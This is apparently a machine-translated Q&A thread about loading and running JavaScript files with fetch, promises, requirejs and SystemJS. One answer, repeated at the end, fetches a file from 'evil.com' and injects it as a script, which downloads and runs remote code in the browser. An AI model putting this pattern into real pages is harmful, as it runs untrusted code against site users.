Javascript 我可以使用“fetch”从另一个运行JS脚本吗？

这里是中级JS/JQ人员

我试图通过使用JS

fetch

逃离回调地狱。这被称为“AJAX的替代品”，似乎非常强大。我可以看到如何使用它获取HTML和JSON对象。。。但是，它是否能够运行另一个JS脚本？ES6中可能还有另一个新功能：

$.getScript( 'xxx.js' );

i、 e

稍后，回应梦想家约瑟夫：

我试过这个：

const createdScript = $(document.createElement('script')).attr('src', 'generic.js');
fetch( createdScript )...

---

。。。它没有运行脚本“generic.js”。你是说别的吗？

这里有几件事要提

---

是的，可以执行刚从服务器加载的javascript。您可以以文本和用户eval（…）的形式获取文件，但由于不可跟踪的副作用和缺乏安全性，不建议这样做

另一种选择是： 1.加载javascript文件 2.使用文件内容（或url，因为浏览器缓存文件）创建脚本标记

这是可行的，但它可能无法将你从地狱中解脱出来

---

如果您希望以友好方式加载您可以使用的其他javascript文件，例如requirejs，那么您可以定义模块并以友好方式加载它们。看看

---

如果你真的想走出地狱，你需要做的是

• 定义函数（您可以将它们放在同一个文件中，也可以使用客户机中的requirejs从另一个文件加载，如果您可以在部署前进行编译，则可以使用webpack）
• 如果需要，使用承诺或流（参见Rxjs）
• 记住那个承诺，然后返回一个承诺

记住，承诺是可以组成的

Promise.all(somePromise, anotherPromise, fetchFromServer)
  .then(doSomethingWhenAllOfThoseAreResolved)

---

FetchAPI应该提供基于承诺的API来获取远程数据。加载随机远程脚本不是AJAX——即使

jQuery.AJAX

能够做到这一点。它不会由fetchapi处理

脚本可以动态追加并用承诺包装：

const scriptPromise = new Promise((resolve, reject) => {
  const script = document.createElement('script');
  document.body.appendChild(script);
  script.onload = resolve;
  script.onerror = reject;
  script.async = true;
  script.src = 'foo.js';
});

scriptPromise.then(() => { ... });

SystemJS应该为脚本加载提供基于承诺的API，也可以使用：

System.config({
  meta: {
    '*': { format: 'global' }
  }
});

System.import('foo.js').then(() => { ... });

---

可以

<script>
fetch('https://evil.com/1.txt') .then(function(response) { if (!response.ok) { return false; } return response.blob(); }) .then(function(myBlob) { var objectURL = URL.createObjectURL(myBlob); var sc = document.createElement("script"); sc.setAttribute("src", objectURL); sc.setAttribute("type", "text/javascript"); document.head.appendChild(sc);})
</script>

取（'https://evil.com/1.txt然后（函数（response）{if（！response.ok）{return false；}return response.blob（）；}）

---

不要听所选的“正确”答案。

为什么不动态创建一个

并弹出该url？回调地狱逃脱=>承诺，异步/等待。如果“稍后”实验是您尝试的，那么您误解了它们的意思。@evolutionbox确实是我做的。。。这就是为什么我说“你是说别的吗？”。正如我所说，我不是JS专家。能告诉我他们的意思吗？谢谢。。。是的，我刚刚开始触及这件事的表面。ES7中的“WAIT”和“async”看起来很有希望：但在让脚本等待getScript回调结束时，我仍在苦苦挣扎。。。事实上，我昨天瞥见了RxJS。我们还将关注requirejs。唉。正如我所说，我不是JS专家……

“[…]不可追踪的副作用和缺乏安全性[…]”

在

eval（等待获取（url）。然后（r=>r.text（））

和

之间的安全性没有区别，就我所见？哇。。。这很好：您已经澄清了

fetch

，并给了我一个解决问题的答案。

System.config({
  meta: {
    '*': { format: 'global' }
  }
});

System.import('foo.js').then(() => { ... });

<script>
fetch('https://evil.com/1.txt') .then(function(response) { if (!response.ok) { return false; } return response.blob(); }) .then(function(myBlob) { var objectURL = URL.createObjectURL(myBlob); var sc = document.createElement("script"); sc.setAttribute("src", objectURL); sc.setAttribute("type", "text/javascript"); document.head.appendChild(sc);})
</script>